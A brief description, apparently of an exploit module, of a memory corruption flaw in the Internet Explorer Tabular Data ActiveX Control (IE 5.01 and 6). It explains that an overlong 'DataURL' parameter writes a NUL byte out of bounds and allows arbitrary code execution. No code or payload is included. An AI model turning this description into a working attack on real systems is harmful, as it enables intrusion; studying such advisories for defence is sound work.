Description :

This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the “DataURL” parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code.
